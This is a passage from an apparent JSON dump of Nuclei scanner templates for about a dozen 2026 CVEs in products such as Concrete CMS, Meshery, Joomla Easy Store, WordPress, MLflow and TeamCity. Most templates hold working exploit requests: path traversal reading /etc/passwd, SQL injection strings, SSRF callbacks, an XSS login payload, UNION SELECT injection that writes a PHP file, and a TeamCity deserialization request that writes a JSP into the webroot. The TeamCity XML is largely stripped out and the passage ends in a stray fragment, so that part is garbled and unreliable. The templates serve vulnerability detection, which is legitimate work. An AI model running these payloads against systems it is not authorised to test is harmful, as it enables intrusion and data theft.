missing permission check in the usage controller.\n impact: |\n Any unauthenticated visitor can request /ccm/system/dialogs/file/usage/{fID} with any file ID and receive a list of every page that references that file, including page IDs, handles, and full URLs. This includes pages that are otherwise restricted by permissions.\n remediation: |\n Update to the latest version beyond 9.5.0.\n reference:\n - https://documentation.concretecms.org/9-x/developers/introduction/version-history/951-release-notes\n - https://www.concretecms.org/security\n - https://nvd.nist.gov/vuln/detail/CVE-2026-6826\n - https://vulnerability.circl.lu/vuln/cve-2026-6826\n classification:\n cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N\n cvss-score: 6.9\n cve-id: CVE-2026-6826\n epss-score: 0.01461\n epss-percentile: 0.72439\n cwe-id: CWE-862\n metadata:\n verified: true\n max-request: 1\n shodan-query: http.component:\"Concrete CMS\"\n fofa-query: app=\"Concrete-CMS\"\n tags: cve,cve2026,concretecms,concrete,disclosure,unauth,idor\n\nhttp:\n - method: GET\n path:\n - \"{{BaseURL}}/ccm/system/dialogs/file/usage/1\"\n\n matchers-condition: and\n matchers:\n - type: word\n part: body\n words:\n - 'ccm-ui'\n - 'Page ID'\n - 'Handle'\n - 'Location'\n condition: and\n\n - type: status\n status:\n - 200\n# digest: 4a0a00473045022100cf74bd9f71fc499eff16efe42f66b94d9bd0d636b35a5b42846ac0548fd2b986022061dcb8ab4ed4511fe7d2bc44b4f42a19dab21659141919988f77ca4a176e922f:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-6826.yaml","vuln_id":"cve-2026-6826"},{"raw":"id: CVE-2026-67208\n\ninfo:\n name: Juggle <= 1.6.0 - Unauthenticated Exposed H2 Database Console\n author: str4k3r\n severity: critical\n description: |\n Juggle ships the H2 database web console enabled and reachable from\n non-localhost by default. No application-level authentication covers\n the /h2-console path, and the shipped default datasource credentials\n (sa/juggle) are known. An unauthenticated remote attacker can reach the\n console and, using the default credentials, achieve OS command\n execution on the host via the H2 CREATE ALIAS Runtime.exec() technique.\n impact: |\n Unauthenticated remote attackers can execute arbitrary OS commands with root privileges, leading to full system compromise.\n remediation: |\n Update to the latest version and change default credentials; restrict access to /h2-console.\n reference:\n - https://github.com/somta/Juggle/issues/86\n - https://www.vulncheck.com/advisories/juggle-unauthenticated-rce-via-exposed-h2-console\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n cvss-score: 9.8\n cve-id: CVE-2026-67208\n epss-score: 0.05285\n epss-percentile: 0.92204\n cwe-id: CWE-306\n metadata:\n verified: true\n max-request: 2\n product: juggle\n vendor: somta\n tags: cve,cve2026,juggle,h2,exposure,unauth,rce\n\nflow: |\n http(\"juggle-detect\") && http(\"h2-console-check\")\n\nhttp:\n - method: GET\n id: juggle-detect\n path:\n - \"{{BaseURL}}\"\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains(body, \"Juggle\")'\n condition: and\n internal: true\n\n - method: GET\n id: h2-console-check\n path:\n - \"{{BaseURL}}/h2-console/\"\n\n matchers-condition: and\n matchers:\n - type: status\n status:\n - 200\n - type: word\n part: body\n words:\n - \"H2 Console\"\n - \"login.jsp?jsessionid=\"\n condition: and\n# digest: 490a00463044022023098bac5c74ed3e9f26b71befafd04e2d440efc5d72f3bd89ac200943e84f3602204cb157b96251cde3c795c539d1bec5c427c5dfddfdd2fcf8d3cf9d4368e7cccd:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-67208.yaml","vuln_id":"cve-2026-67208"},{"raw":"id: CVE-2026-6639\n\ninfo:\n name: AI Copilot Content Generator <=1.4.6 - Unauthenticated Task Data Exposure\n author: str4k3r\n severity: high\n description: |\n AIWU AI Chatbot & Workflow Automation WordPress plugin <= 1.4.6 contains a sensitive information exposure caused by unauthenticated access to getCurrentTaskResults() method, letting unauthenticated attackers retrieve API keys and configuration data, exploit requires no authentication.\n impact: |\n Unauthenticated attackers can access sensitive API keys and configuration data, risking data leakage and unauthorized use of services.\n remediation: |\n Update to the latest version beyond 1.4.6.\n reference:\n - https://nvd.nist.gov/vuln/detail/CVE-2026-6639\n - https://www.wordfence.com/threat-intel/vulnerabilities/id/247b1921-70a6-4e65-819a-2895bc395e9f?source=cve\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n cvss-score: 7.5\n cve-id: CVE-2026-6639\n epss-score: 0.00367\n epss-percentile: 0.30599\n cwe-id: CWE-862\n metadata:\n verified: true\n max-request: 1\n vendor: aiwu\n product: ai-copilot-content-generator\n fofa-query: 'body=\"/wp-content/plugins/ai-copilot-content-generator/\"'\n tags: cve,cve2026,wordpress,wp-plugin,aiwu,ai-copilot,exposure,unauth\n\nhttp:\n - raw:\n - |\n POST /wp-admin/admin-ajax.php HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/x-www-form-urlencoded\n\n action=getCurrentTaskResults&pl=waic&mod=workspace&reqType=ajax&task_id=1\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains(body, \"\\\"feature\\\":\\\"magictext\\\"\")'\n condition: and\n# digest: 4b0a004830460221009b5a86cf5ba6184fdeae9ea140d0fbe22532fbd48d0b5335750b8213b2017ae8022100fbaecd63e05854635dae058209f7cc08b0bd9b0426c7174ae57dc980729c5cd0:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-6639.yaml","vuln_id":"cve-2026-6639"},{"raw":"id: CVE-2026-65919\n\ninfo:\n name: Meshery <1.0.57 - Arbitrary File Read\n author: str4k3r\n severity: high\n description: |\n Meshery before 1.0.57 contains an unauthenticated arbitrary file read vulnerability in the /api/system/fileView and /api/system/fileDownload endpoints that pass user-supplied file parameters directly to os.Open without path validation. Attackers can supply absolute paths or traversal sequences in the file parameter to read arbitrary files from the host filesystem without authentication.\n impact: |\n Unauthenticated attackers can read arbitrary files on the host, potentially exposing sensitive information.\n remediation: |\n Upgrade to version 1.0.57 or later.\n reference:\n - https://github.com/meshery/meshery/issues/20076\n - https://github.com/meshery/meshery/pull/20133\n - https://github.com/meshery/meshery/commit/ea83a26cb090b13be36c07cf24a99f8c637cc765\n - https://www.vulncheck.com/advisories/meshery-unauthenticated-arbitrary-file-read-via-fileview-and-filedownload\n - https://nvd.nist.gov/vuln/detail/CVE-2026-65919\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n cvss-score: 7.5\n cve-id: CVE-2026-65919\n epss-score: 0.02087\n epss-percentile: 0.80758\n cwe-id: CWE-22\n metadata:\n verified: true\n max-request: 3\n product: meshery\n vendor: meshery\n fofa-query: title=\"Meshery\"\n shodan-query: http.title:\"Meshery\"\n tags: cve,cve2026,meshery,lfi,traversal,oss\n\nflow: http(\"detect\") && http(\"exploit\")\n\nhttp:\n - id: detect\n method: GET\n path:\n - \"{{BaseURL}}\"\n\n host-redirects: true\n max-redirects: 2\n\n matchers:\n - type: word\n part: body\n words:\n - \"Meshery\"\n - \"assetPrefix\"\n condition: and\n internal: true\n case-insensitive: true\n\n - id: exploit\n method: GET\n path:\n - \"{{BaseURL}}/api/system/fileView?file=/etc/passwd\"\n - \"{{BaseURL}}/api/system/fileDownload?file=/etc/passwd\"\n\n stop-at-first-match: true\n\n matchers-condition: and\n matchers:\n - type: regex\n part: body\n regex:\n - \"root:.*:0:0:\"\n\n - type: status\n status:\n - 200\n# digest: 490a00463044022071ecb2d8521e1d8be8df165c8276e0e56bb965161eb8d025997ebc6abc4c3ffe02203564a0240c14748d3b7bdf29e6bc95f5a78ead08a5f5d499bc2b9baed1a5a900:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-65919.yaml","vuln_id":"cve-2026-65919"},{"raw":"id: CVE-2026-65761\n\ninfo:\n name: Joomla Easy Store - SQL Injection\n author: YesWeHack\n severity: critical\n description: |\n Joomla Easy Store extension 1.0.0-2.0.1 contains an unauthenticated SQL injection caused by improper validation of order parameters, letting unauthenticated attackers read the full database including credentials and sessions.\n impact: |\n Unauthenticated attackers can read the entire database, exposing sensitive data including credentials and session information.\n remediation: |\n Update to the latest version of Easy Store extension.\n reference:\n - https://nvd.nist.gov/vuln/detail/CVE-2026-65761\n - https://mysites.guru/blog/easystore-security-disclosure/\n - https://www.joomshaper.com/easystore\n classification:\n cve-id: CVE-2026-65761\n epss-score: 0.00928\n epss-percentile: 0.5901\n cwe-id: CWE-89\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n cvss-score: 9.8\n cpe: cpe:2.3:a:joomshaper.com:easy_store_extension_for_joomla:*:*:*:*:*:*:*:*\n metadata:\n max-requests: 1\n vendor: JoomShaper\n product: Easy Store\n fofa-query: app=\"joomla\" && body=\"Easy Store\"\n tags: cve,cve2026,joomla,easystore,sql-injection,unauthenticated\n\nvariables:\n num: \"999999999\"\n\nhttp:\n - method: GET\n path:\n - \"{{BaseURL}}/index.php?option=com_easystore&view=products&task=search&filter_sortby=created-ASC,EXTRACTVALUE(1,CONCAT(CHAR(126),SUBSTRING(MD5({{num}}),1,28)))--+-\"\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 500'\n - 'contains_all(body, substr(md5(num), 0, 28), \"XPATH syntax error\")'\n condition: and\n# digest: 4a0a0047304502210095c6e44086066185be59920175d83e383ecd2da9382c5634fcf5d20f4a32399d022024312865c049ec625a5029edc21835771c8008dd4eb6b27dbefd11360af5edb5:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-65761.yaml","vuln_id":"cve-2026-65761"},{"raw":"id: CVE-2026-65694\n\ninfo:\n name: Microweber CMS <= 2.0.20 - Unauthenticated Arbitrary File Read\n author: 0x_Akoko,abdugafforov-bobur\n severity: high\n description: |\n Microweber CMS <= 2.0.20 contains a path traversal vulnerability caused by failure to normalize path query parameter in static file controller, letting unauthenticated remote attackers read arbitrary files.\n impact: |\n Unauthenticated attackers can read sensitive files, potentially exposing credentials and system information.\n remediation: |\n Update to the latest version beyond 2.0.20.\n reference:\n - https://github.com/abdugafforov-bobur/CVE-2026-65694-PoC\n - https://nvd.nist.gov/vuln/detail/CVE-2026-65694\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n cvss-score: 7.5\n cve-id: CVE-2026-65694\n epss-score: 0.03394\n epss-percentile: 0.88289\n cwe-id: CWE-22\n metadata:\n verified: true\n max-request: 1\n vendor: microweber\n product: microweber\n shodan-query: http.html:\"microweber\"\n fofa-query: body=\"microweber\"\n tags: cve,cve2026,microweber,lfi\n\nhttp:\n - raw:\n - |\n GET /userfiles/x?path=../../../../../../../../etc/passwd HTTP/1.1\n Host: {{Hostname}}\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains(body, \"root:x:0:0\")'\n condition: and\n# digest: 4a0a00473045022100e8b1d18efb89e935224af8e58bf54acfce61e3eb14493b28c737e3302e46d03102205b1770c2d02980fdb9f8632567a61d54281a82c0b7c30113884d41ff23167553:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-65694.yaml","vuln_id":"cve-2026-65694"},{"raw":"id: CVE-2026-65442\n\ninfo:\n name: FormCraft3 <= 3.9.15 - Server-Side Request Forgery\n author: DhiyaneshDk\n severity: high\n description: |\n Unauthenticated Server Side Request Forgery (SSRF) in FormCraft <= 3.9.15 versions.\n impact: |\n An unauthenticated attacker can force the server to make HTTP requests to arbitrary internal or external URLs, potentially accessing cloud metadata services (AWS/GCP/Azure), internal network services, and sensitive data.\n remediation: |\n Update FormCraft3 to version 3.9.16 or later which adds nonce verification and authentication checks to the formcraft3_get AJAX endpoint.\n reference:\n - https://patchstack.com/database/wordpress/plugin/formcraft/vulnerability/wordpress-formcraft-plugin-3-9-15-server-side-request-forgery-ssrf-vulnerability\n - https://wpscan.com/vulnerability/a8ce5ff4-dd4c-411c-9b34-7824a75742b6/\n - https://github.com/advisories/GHSA-xvfc-pj4j-wr9x\n - https://nvd.nist.gov/vuln/detail/CVE-2026-65442\n - https://nvd.nist.gov/vuln/detail/CVE-2022-0591\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N\n cvss-score: 7.2\n cve-id: CVE-2026-65442\n epss-score: 0.00419\n epss-percentile: 0.35894\n cwe-id: CWE-918\n cpe: cpe:2.3:a:subtlewebinc:formcraft3:*:*:*:*:*:wordpress:*:*\n metadata:\n verified: true\n max-request: 2\n vendor: subtlewebinc\n product: formcraft3\n framework: wordpress\n fofa-query: body=\"formcraft3\" && body=\"wp-\"\n shodan-query: http.component:\"wordpress\" http.html:\"formcraft3\"\n tags: cve,cve2026,wp,wp-plugin,wordpress,formcraft3,ssrf,subtlewebinc,vkev,oast\n\nflow: http(1) && http(2)\n\nhttp:\n - method: GET\n path:\n - \"{{BaseURL}}\"\n\n matchers:\n - type: word\n words:\n - \"/wp-content/plugins/formcraft3/\"\n internal: true\n\n - method: GET\n path:\n - \"{{BaseURL}}/wp-admin/admin-ajax.php?action=formcraft3_get&URL=https://{{interactsh-url}}\"\n\n matchers-condition: and\n matchers:\n - type: word\n part: interactsh_protocol\n words:\n - \"http\"\n\n - type: word\n part: interactsh_request\n words:\n - \"User-Agent: WordPress\"\n# digest: 490a00463044022056e109d67f84045136196ec89f96529d2aca321752ff9e98a614467f364471dc02201c323a468c5398da079ac9fcc8bafd55ffc1d3c7672e017d28d50ad9ca94c1ac:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-65442.yaml","vuln_id":"cve-2026-65442"},{"raw":"id: CVE-2026-64849\n\ninfo:\n name: MLflow Webhook SSRF - Unauthenticated Full-Read via Redirect Bypass\n author: DhiyaneshDk\n severity: critical\n description: |\n MLflow > 3.15.0 contains an information disclosure vulnerability caused by improper validation of webhook URLs allowing attackers to reach internal or cloud metadata services and obtain response details, exploit requires unauthenticated access to the webhook test endpoint.\n impact: |\n Attackers can access internal or cloud metadata services and retrieve response status and body, potentially exposing sensitive information.\n remediation: |\n Upgrade MLflow to a version containing PR #24258 which adds SSRFProtectedHTTPAdapter for connection-time IP validation covering redirect targets and DNS rebinding.\n reference:\n - https://github.com/mlflow/mlflow/security/advisories/GHSA-7gwp-5pfp-969j\n - https://github.com/mlflow/mlflow/pull/24258\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N\n cvss-score: 9.3\n cve-id: CVE-2026-64849\n epss-score: 0.1641\n epss-percentile: 0.96834\n cwe-id: CWE-918\n metadata:\n max-request: 3\n verified: true\n shodan-query: http.title:\"MLflow\"\n fofa-query: title=\"MLflow\"\n tags: cve,cve2026,mlflow,ssrf,oast,webhook,oss,vkev,kev\n\nvariables:\n random: \"{{rand_text_alpha(8)}}\"\n\nhttp:\n - raw:\n - |\n POST /api/2.0/mlflow/webhooks HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n\n {\"name\":\"{{random}}\",\"url\":\"https://{{interactsh-url}}\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n - |\n POST /api/2.0/mlflow/webhooks/{{webhook_id}}/test HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n\n {\"webhook_id\":\"{{webhook_id}}\",\"event\":{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}}\n\n - |\n DELETE /api/2.0/mlflow/webhooks/{{webhook_id}} HTTP/1.1\n Host: {{Hostname}}\n\n matchers-condition: and\n matchers:\n - type: word\n part: body_1\n words:\n - \"webhook_id\"\n - \"ACTIVE\"\n condition: and\n\n - type: word\n part: interactsh_protocol\n words:\n - \"http\"\n\n extractors:\n - type: regex\n name: webhook_id\n part: body\n internal: true\n regex:\n - '\"webhook_id\":\\s*\"([^\"]+)\"'\n group: 1\n# digest: 4b0a00483046022100a54ac9b4ec038969d2ceb7b47d0f34ff14e56e0551d9096a9cfa4b1b4c0616de022100f44f270657767c57415118691a024095dde27e164d9e6f82bfa52a876caca7e2:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-64849.yaml","vuln_id":"cve-2026-64849"},{"raw":"id: CVE-2026-64638\n\ninfo:\n name: WordPress Core < 7.0.3 - Preauth Reflected XSS (XSS2Shell)\n author: FLX | Nick Vidovic (greenhats)\n severity: high\n description: |\n Pre-authentication reflected XSS in WordPress wp-login.php (CVE-2026-64638).\n The flaw exploits a parser differential between PHP strip_tags() and\n WordPress KSES. Tags with whitespace after < (e.g. \"< area\") survive\n strip_tags() but are normalized to valid HTML by KSES, leading to\n attacker-controlled DOM elements that trigger automatic JavaScript\n execution via user-profile.js. No user interaction required.\n Affects all WordPress versions < 7.0.3.\n impact: |\n Attackers can execute scripts leading to remote code execution via social engineering and victim interaction.\n remediation: |\n Upgrade WordPress to 7.0.3 or apply the backported security patch.\n reference:\n - https://pwn.ai/blog/xss2shell\n - https://thehackernews.com/2026/08/new-wordpress-pre-auth-xss-could-lead.html\n - https://nvd.nist.gov/vuln/detail/CVE-2026-64638\n - https://wordpress.org/news/2026/08/wordpress-7-0-3-release/\n classification:\n cve-id: CVE-2026-64638\n epss-score: 0.31204\n epss-percentile: 0.98192\n cvss-score: 8.9\n cwe-id: CWE-79\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\n metadata:\n max-request: 3\n verified: true\n shodan-query: http.component:\"wordpress\"\n tags: cve,cve2026,wordpress,xss,rce,pwnai\n\nflow: http(1) && http(2)\n\nhttp:\n - method: GET\n path:\n - \"{{BaseURL}}/wp-login.php\"\n\n matchers:\n - type: word\n part: body\n words:\n - \"loginform\"\n - \"wp-core-ui\"\n condition: and\n internal: true\n\n - raw:\n - |\n POST /wp-login.php HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/x-www-form-urlencoded\n\n log=%3C%20area%20id%3Dajaxurl%20href%3D%2F%3Frest_route%3D%2F%26_method%3DGET%26_jsonp%3Dalert%3E%3C%20div%20id%3Dcolor-picker%20class%3Dreset-pass-submit%3E%3C%20button%20class%3D%22wp-generate-pw%20color-option%22%3EX&pwd=x&wp-submit=Log+In\n\n - |\n POST /wp-login.php HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/x-www-form-urlencoded\n\n log=%3C%20area%20id%3Dajaxurl%20href%3D%2F%3Frest_route%3D%2F%26_method%3DGET%26_envelope%3D1%26_jsonp%3Dalert%3E%3C%20div%20id%3Dcolor-picker%20class%3Dreset-pass-submit%3E%3C%20button%20class%3D%22wp-generate-pw%20color-option%22%3EX&pwd=x&wp-submit=Log+In\n\n stop-at-first-match: true\n\n matchers-condition: and\n matchers:\n - type: regex\n part: body\n regex:\n - \"]*id=[\\\"']?ajaxurl\"\n\n - type: status\n status:\n - 200\n\n extractors:\n - type: regex\n part: body\n regex:\n - \"]*id=[\\\"']?ajaxurl[^>]*>\"\n# digest: 4b0a0048304602210085be8d22d1076637ef2bdaed46c6d4f234417696957bdb17cabff5c53de5379c0221008db9ed0cbfb6de78905e3f54105cab3795fd655b28e85e3c92ddf1b53d6c0ff8:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-64638.yaml","vuln_id":"cve-2026-64638"},{"raw":"id: CVE-2026-6433\n\ninfo:\n name: FlipperCode Custom CSS, JS & PHP <= 2.0.7 - Remote Code Execution\n author: theamanrawat\n severity: critical\n description: |\n Custom css-js-php WordPress plugin through 2.0.7 contains a command injection caused by unsanitized user input used in SQL query and passed to eval(), letting unauthenticated attackers execute arbitrary PHP code on the server.\n impact: |\n Unauthenticated attackers can execute arbitrary PHP code on the server, leading to full server compromise.\n remediation: |\n Update to the latest version.\n reference:\n - https://wpscan.com/vulnerability/a0b1c059-e156-4402-ac8d-67f8ad7386cc/\n - https://github.com/murrez/CVE-2026-6433\n - https://patchstack.com/database/wordpress/plugin/custom-css-js-php/vulnerability/wordpress-custom-css-js-php-plugin-2-0-7-unauthenticated-sql-injection-to-rce-vulnerability\n - https://nvd.nist.gov/vuln/detail/CVE-2026-6433\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n cvss-score: 9.8\n cve-id: CVE-2026-6433\n epss-score: 0.01195\n epss-percentile: 0.66691\n metadata:\n verified: true\n max-request: 3\n vendor: flippercode\n product: custom-css-js-php\n framework: wordpress\n shodan-query: http.component:\"WordPress\"\n tags: cve,cve2026,wordpress,wp-plugin,sqli,rce,custom-css-js-php,unauth,intrusive,vkev\n\nvariables:\n filename: \"{{rand_text_alpha(8)}}\"\n marker: \"{{rand_text_alpha(12)}}\"\n\nflow: |\n http(1) && http(2) && http(3);\n\nhttp:\n - raw:\n - |\n POST /wp-admin/admin-ajax.php HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/x-www-form-urlencoded\n\n action=fc_ajax_call&operation=wce_editor_inline_code&id=0+UNION+SELECT+1,'t','php',0x3c3f7068702066696c655f7075745f636f6e74656e74732827{{hex_encode(filename)}}2e747874272c27{{hex_encode(marker)}}27293b203f3e,'header','',0,1--+\n\n matchers:\n - type: dsl\n dsl:\n - \"status_code == 200 || status_code == 500\"\n internal: true\n\n - raw:\n - |\n GET /wp-admin/{{filename}}.txt HTTP/1.1\n Host: {{Hostname}}\n\n matchers-condition: and\n matchers:\n - type: word\n part: body\n words:\n - \"{{marker}}\"\n\n - type: status\n status:\n - 200\n\n - raw:\n - |\n POST /wp-admin/admin-ajax.php HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/x-www-form-urlencoded\n\n action=fc_ajax_call&operation=wce_editor_inline_code&id=0+UNION+SELECT+1,'t','php',0x3c3f7068702040756e6c696e6b2827{{hex_encode(filename)}}2e74787427293b203f3e,'header','',0,1--+\n\n matchers:\n - type: dsl\n dsl:\n - \"true\"\n internal: true\n# digest: 490a00463044022004a6236ea59fec0d01d8a98b3f6512a20d9f23cf850cf5f01eb5f1cf53c8f8cf022073340fcb332409423ffe5adb0687913b2478c1c215493fdd65f3ae8f0abd289f:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-6433.yaml","vuln_id":"cve-2026-6433"},{"raw":"id: CVE-2026-63077\n\ninfo:\n name: JetBrains TeamCity < 2026.1.3, 2025.11.7 - Remote Code Execution\n author: 0x_Akoko,pdteam\n severity: critical\n description: |\n JetBrains TeamCity < 2026.1.3, 2025.11.7 contains a remote code execution caused by unsafe XStream deserialization in the unauthenticated agent polling protocol. The XStream instance serving /app/agents/v1 is created without NoTypePermission.NONE, so XStream's default type permissions (Throwable, Map and Collection hierarchies) remain in effect next to the TeamCity allowlist. An unauthenticated attacker registers an agent, obtains a TeamCity-AgentSessionId, and posts an XStream XML object graph to /app/agents/v1/commands/error that makes TeamCity write an attacker-controlled file into the webroot. This template writes an arithmetic-canary JSP (no OS command execution) and matches its evaluated output.\n impact: |\n Unauthenticated remote attackers can execute arbitrary code with the privileges of the TeamCity server process.\n remediation: |\n Upgrade to TeamCity 2026.1.3, 2025.11.7 or later.\n reference:\n - https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/\n - https://www.rapid7.com/blog/post/ra-unauthenticated-rce-in-jetbrains-teamcity-cve-2026-63077/\n - https://github.com/sfewer-r7/CVE-2026-63077\n - https://nvd.nist.gov/vuln/detail/CVE-2026-63077\n - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-63077\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n cvss-score: 9.8\n cve-id: CVE-2026-63077\n cwe-id: CWE-502\n epss-score: 0.86518\n epss-percentile: 0.99729\n cpe: cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:*\n metadata:\n verified: true\n max-request: 4\n vendor: jetbrains\n product: teamcity\n shodan-query: title:\"TeamCity\"\n fofa-query: title=\"TeamCity\"\n tags: cve,cve2026,jetbrains,teamcity,rce,deserialization,kev,intrusive,vkev\n\nflow: http(1) && http(2) && http(3) && http(4)\n\nhttp:\n - raw:\n - |\n GET / HTTP/1.1\n Host: {{Hostname}}\n\n host-redirects: true\n max-redirects: 3\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains_any(body, \"TeamCity\", \"teamcity\", \"JetBrains\")'\n condition: and\n internal: true\n\n - raw:\n - |\n POST /app/agents/v1/register HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/xml\n\n \n \n \n \n \n \n \n \n\n extractors:\n - type: regex\n name: session\n part: header\n group: 1\n regex:\n - '(?i)teamcity-agentsessionid: ([^\\r\\n]+)'\n internal: true\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains_any(to_lower(header), \"teamcity-agentsessionid:\")'\n condition: and\n internal: true\n\n - raw:\n - |\n POST /app/agents/v1/commands/error HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/xml\n TeamCity-AgentSessionId: {{session}}\n TeamCity-AgentCommandId: 123456\n\n \n \n \n n1\n \n \n \n \n -1\n true\n org.hsqldb.jdbc.JDBCDriver\n true\n 8\n 8\n 0\n 0\n -1\n false\n false\n -1\n false\n true\n false\n -1\n 3\n 1800000\n -1\n org.apache.commons.pool2.impl.DefaultEvictionPolicy\n false\n \n jdbc:hsqldb:mem:nuclei{{randstr}}\n SA\n -1\n \n CREATE TABLE TN{{randstr}}(CN{{randstr}} VARCHAR(4000))\n INSERT INTO TN{{randstr}} VALUES ('<p><%=7*6%></p>PD-TP-CONFIRMED')\n SCRIPT '../webapps/ROOT/pd-tp-{{randstr}}.jspws'\n \n false\n -1\n true\n true\n true\n false\n \n false\n \n false\n false\n \n \n \n \n \n n2\n \n \n \n \n 0\n false\n false\n \n 2\n 3\n 0\n 2003000\n 2.3.0\n 0\n \n false\n false\n \n \n \n \n \n 0\n \n \n

Interactsh Server